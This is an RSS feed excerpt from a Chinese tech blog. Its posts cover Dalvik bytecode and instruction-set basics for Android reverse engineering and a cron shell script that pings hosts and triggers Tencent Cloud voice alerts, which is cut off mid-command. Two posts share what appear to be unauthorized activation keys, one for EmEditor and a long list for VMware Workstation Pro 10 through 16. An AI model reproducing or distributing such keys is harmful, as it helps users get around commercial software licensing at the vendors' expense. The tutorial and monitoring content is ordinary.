&lt;/blockquote&gt;</description></item><item><title>Android逆向-2 dalvik 指令集1</title><link>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-2-dalvik-%E6%8C%87%E4%BB%A4%E9%9B%861-android%E9%80%86%E5%90%91-2dalvik%E6%8C%87%E4%BB%A4%E9%9B%861/</link><pubDate>Thu, 12 Mar 2020 17:38:06 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-2-dalvik-%E6%8C%87%E4%BB%A4%E9%9B%861-android%E9%80%86%E5%90%91-2dalvik%E6%8C%87%E4%BB%A4%E9%9B%861/</guid><description>&lt;h1 id="dalvik-指令集-1"&gt;dalvik 指令集 1&lt;/h1&gt;
&lt;h2 id="dalvik-指令格式"&gt;dalvik 指令格式&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;基础字节码&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;名称后缀&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;字节码后缀&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;目的寄存器&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;源寄存器&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;说明:&lt;br&gt;
名称后缀: wide 表示数据宽度位 64位&lt;br&gt;
字节码后缀 : from16 表示的就是源寄存器为16位&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;例子:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;wide&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;from16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vBBBB&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;move&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;为基础字节码&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;即&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;opcode&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;wide&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;为名称后缀&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;标识指令操作的数据宽度为64位&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;from16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;字节码后缀&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;标识源为一个16位的寄存器引用变量&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;vAA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;目的寄存器&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;它始终在源的前面&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;//0xAA 8位 取值范围: v0~v255&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;vBBBB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;源寄存器&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;//0xBBBB 16位 取值范围: v0~v65535&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;dalvik指令集中大多数指令用到了寄存器作为目的操作数或源操作数,其中 A/B/C/D/E/F/G/H 代表一个4位的数值, AA/BB/…/HH 代表一个8位的数值, AAAA/BBBB/…/HHHH 代表一个16位的数值&lt;/p&gt;</description></item><item><title>Android逆向-1 dalvik字节码</title><link>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-1-dalvik%E5%AD%97%E8%8A%82%E7%A0%81-android%E9%80%86%E5%90%91-1dalvik%E5%AD%97%E8%8A%82%E7%A0%81/</link><pubDate>Thu, 12 Mar 2020 09:28:49 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/android%E9%80%86%E5%90%91-1-dalvik%E5%AD%97%E8%8A%82%E7%A0%81-android%E9%80%86%E5%90%91-1dalvik%E5%AD%97%E8%8A%82%E7%A0%81/</guid><description>&lt;h1 id="1-dalvik字节码"&gt;1 .dalvik字节码&lt;/h1&gt;
&lt;h2 id="1-dalvik寄存器"&gt;1 dalvik寄存器:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;32位: 所有寄存器&lt;/li&gt;
&lt;li&gt;64位: 使用两个相邻的寄存器&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-寄存器的命名法"&gt;2 寄存器的命名法:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;v&lt;/code&gt; : 局部变量寄存器 &lt;code&gt;v0-vn&lt;/code&gt; 参数寄存器: &lt;code&gt;vn-vn+m&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p&lt;/code&gt; : 参数寄存器 &lt;code&gt;p0-pn&lt;/code&gt; 变量寄存器 &lt;code&gt;v0-vn&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;第一种&lt;br&gt;
&lt;a href="https://luodaoyi.com/?attachment_id=2063"&gt;&lt;img src="https://luodaoyi.com/uploads/2020/03/1584005165-%E7%AC%AC%E4%B8%80%E7%A7%8D-300x182.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;第二种&lt;br&gt;
&lt;a href="https://luodaoyi.com/?attachment_id=2062"&gt;&lt;img src="https://luodaoyi.com/uploads/2020/03/1584005164-%E7%AC%AC%E4%BA%8C%E7%A7%8D-300x168.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="3-dex文件反汇编工具"&gt;3 dex文件反汇编工具&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;.java&lt;/code&gt;编译成&lt;code&gt;.class&lt;/code&gt; 再编译成 &lt;code&gt;&amp;lt;code&amp;gt;.dex&lt;/code&gt;&lt;/code&gt; 最后编译得到 smali文件&lt;/p&gt;</description></item><item><title>Emeditor可以用的激活码</title><link>https://luodaoyi.com/posts/emeditor%E5%8F%AF%E4%BB%A5%E7%94%A8%E7%9A%84%E6%BF%80%E6%B4%BB%E7%A0%81-emeditor%E5%8F%AF%E4%BB%A5%E7%94%A8%E7%9A%84%E6%BF%80%E6%B4%BB%E7%A0%81/</link><pubDate>Fri, 26 Jul 2019 09:06:59 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/emeditor%E5%8F%AF%E4%BB%A5%E7%94%A8%E7%9A%84%E6%BF%80%E6%B4%BB%E7%A0%81-emeditor%E5%8F%AF%E4%BB%A5%E7%94%A8%E7%9A%84%E6%BF%80%E6%B4%BB%E7%A0%81/</guid><description>&lt;h2 id="emeditor激活码"&gt;Emeditor激活码&lt;/h2&gt;
&lt;p&gt;找来找去找不到可以用的&lt;br&gt;
今天在网上找到一个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DMAZM-WHY52-AX222-ZQJXN-79JXH

Version 18.9.12
使用正常!
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>VMware Workstation 各系列激活码大全</title><link>https://luodaoyi.com/posts/vmware-workstation-%E5%90%84%E7%B3%BB%E5%88%97%E6%BF%80%E6%B4%BB%E7%A0%81%E5%A4%A7%E5%85%A8-vmwareworkstation%E5%90%84%E7%B3%BB%E5%88%97%E6%BF%80%E6%B4%BB%E7%A0%81%E5%A4%A7%E5%85%A8/</link><pubDate>Wed, 26 Dec 2018 13:53:54 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/vmware-workstation-%E5%90%84%E7%B3%BB%E5%88%97%E6%BF%80%E6%B4%BB%E7%A0%81%E5%A4%A7%E5%85%A8-vmwareworkstation%E5%90%84%E7%B3%BB%E5%88%97%E6%BF%80%E6%B4%BB%E7%A0%81%E5%A4%A7%E5%85%A8/</guid><description>&lt;blockquote&gt;
&lt;p&gt;VMware Workstation Pro 16 激活许可证&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;ZF3R0-FHED2-M80TY-8QYGC-NPKYF
YF390-0HF8P-M81RQ-2DXQE-M2UT6
ZF71R-DMX85-08DQY-8YMNC-PPHV8
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;VMware Workstation Pro 15 激活码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;UY758-0RXEQ-M81WP-8ZM7Z-Y3HDA
VF750-4MX5Q-488DQ-9WZE9-ZY2D6
UU54R-FVD91-488PP-7NNGC-ZFAX6
YC74H-FGF92-081VZ-R5QNG-P6RY4
YC34H-6WWDK-085MQ-JYPNX-NZRA2
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;VMware Workstation Pro 14 激活码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;FF31K-AHZD1-H8ETZ-8WWEZ-WUUVA
CV7T2-6WY5Q-48EWP-ZXY7X-QGUWD
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;VMware Workstation Pro 12 激活码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;5A02H-AU243-TZJ49-GTC7K-3C61N
VF5XA-FNDDJ-085GZ-4NXZ9-N20E6
UC5MR-8NE16-H81WY-R7QGV-QG2D8
ZG1WH-ATY96-H80QP-X7PEX-Y30V4
AA3E0-0VDE1-0893Z-KGZ59-QGAVF
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;VMware Workstation Pro 10 激活码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;1Z0G9-67285-FZG78-ZL3Q2-234JG
4C4EK-89KDL-5ZFP9-1LA5P-2A0J0
HY086-4T01N-CZ3U0-CV0QM-13DNU
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>利用shell脚本检测网络状况实现电话或短信报警</title><link>https://luodaoyi.com/posts/%E5%88%A9%E7%94%A8shell%E8%84%9A%E6%9C%AC%E6%A3%80%E6%B5%8B%E7%BD%91%E7%BB%9C%E7%8A%B6%E5%86%B5%E5%AE%9E%E7%8E%B0%E7%94%B5%E8%AF%9D%E6%88%96%E7%9F%AD%E4%BF%A1%E6%8A%A5%E8%AD%A6-%E5%88%A9%E7%94%A8shell%E8%84%9A%E6%9C%AC%E6%A3%80%E6%B5%8B%E7%BD%91%E7%BB%9C%E7%8A%B6%E5%86%B5%E5%AE%9E%E7%8E%B0%E7%94%B5%E8%AF%9D%E6%88%96%E7%9F%AD%E4%BF%A1%E6%8A%A5%E8%AD%A6/</link><pubDate>Tue, 25 Dec 2018 15:27:36 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%88%A9%E7%94%A8shell%E8%84%9A%E6%9C%AC%E6%A3%80%E6%B5%8B%E7%BD%91%E7%BB%9C%E7%8A%B6%E5%86%B5%E5%AE%9E%E7%8E%B0%E7%94%B5%E8%AF%9D%E6%88%96%E7%9F%AD%E4%BF%A1%E6%8A%A5%E8%AD%A6-%E5%88%A9%E7%94%A8shell%E8%84%9A%E6%9C%AC%E6%A3%80%E6%B5%8B%E7%BD%91%E7%BB%9C%E7%8A%B6%E5%86%B5%E5%AE%9E%E7%8E%B0%E7%94%B5%E8%AF%9D%E6%88%96%E7%9F%AD%E4%BF%A1%E6%8A%A5%E8%AD%A6/</guid><description>&lt;blockquote&gt;
&lt;p&gt;腾讯云有语音接口 可以实现任务内容通知&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://console.cloud.tencent.com/sms" title="https://console.cloud.tencent.com/sms"&gt;https://console.cloud.tencent.com/sms&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="脚本如下"&gt;脚本如下&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;span class="lnt"&gt;56
&lt;/span&gt;&lt;span class="lnt"&gt;57
&lt;/span&gt;&lt;span class="lnt"&gt;58
&lt;/span&gt;&lt;span class="lnt"&gt;59
&lt;/span&gt;&lt;span class="lnt"&gt;60
&lt;/span&gt;&lt;span class="lnt"&gt;61
&lt;/span&gt;&lt;span class="lnt"&gt;62
&lt;/span&gt;&lt;span class="lnt"&gt;63
&lt;/span&gt;&lt;span class="lnt"&gt;64
&lt;/span&gt;&lt;span class="lnt"&gt;65
&lt;/span&gt;&lt;span class="lnt"&gt;66
&lt;/span&gt;&lt;span class="lnt"&gt;67
&lt;/span&gt;&lt;span class="lnt"&gt;68
&lt;/span&gt;&lt;span class="lnt"&gt;69
&lt;/span&gt;&lt;span class="lnt"&gt;70
&lt;/span&gt;&lt;span class="lnt"&gt;71
&lt;/span&gt;&lt;span class="lnt"&gt;72
&lt;/span&gt;&lt;span class="lnt"&gt;73
&lt;/span&gt;&lt;span class="lnt"&gt;74
&lt;/span&gt;&lt;span class="lnt"&gt;75
&lt;/span&gt;&lt;span class="lnt"&gt;76
&lt;/span&gt;&lt;span class="lnt"&gt;77
&lt;/span&gt;&lt;span class="lnt"&gt;78
&lt;/span&gt;&lt;span class="lnt"&gt;79
&lt;/span&gt;&lt;span class="lnt"&gt;80
&lt;/span&gt;&lt;span class="lnt"&gt;81
&lt;/span&gt;&lt;span class="lnt"&gt;82
&lt;/span&gt;&lt;span class="lnt"&gt;83
&lt;/span&gt;&lt;span class="lnt"&gt;84
&lt;/span&gt;&lt;span class="lnt"&gt;85
&lt;/span&gt;&lt;span class="lnt"&gt;86
&lt;/span&gt;&lt;span class="lnt"&gt;87
&lt;/span&gt;&lt;span class="lnt"&gt;88
&lt;/span&gt;&lt;span class="lnt"&gt;89
&lt;/span&gt;&lt;span class="lnt"&gt;90
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ch"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# /root/check/check.sh 脚本存放位置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# */5 * * * * /bin/bash /root/check/check.sh &amp;gt; /dev/null cron命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 日志路径&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;LOGFILE&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;check_ip&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 腾讯云语音appid&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SDKAPPID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;12345678&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# appkey&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;strAppKey&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;abcdefg&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 语音模板&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;VOICE_TMP_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;123456&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 通知的手机号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ALERT_PHONE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;18888888888&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ping丢包触发百分比&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;GE_RATE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第一个参数为ping测试的ip&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第二个参数为丢包率&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第三个参数为通知的手机号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;call_phone&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 模板: 接口{1}丢包率为{2}，请在5分钟内处理！&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;strMobile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;strRand&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;RANDOM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;strTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt; &lt;span class="o"&gt;+%&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;strSig&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;appkey=$&lt;/span&gt;&lt;span class="si"&gt;{strAppKey}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;random=$&lt;/span&gt;&lt;span class="si"&gt;{strRand}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;time=$&lt;/span&gt;&lt;span class="si"&gt;{strTime}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;mobile=$&lt;/span&gt;&lt;span class="si"&gt;{strMobile}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sig&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;strSig&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;sha256sum&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;cut&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;https://cloud.tim.qq.com/v5/tlsvoicesvr/sendtvoice?sdkappid=$&lt;/span&gt;&lt;span class="si"&gt;{SDKAPPID}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;random=$&lt;/span&gt;&lt;span class="si"&gt;{strRand}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;$&lt;/span&gt;&lt;span class="si"&gt;{api_url}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; \
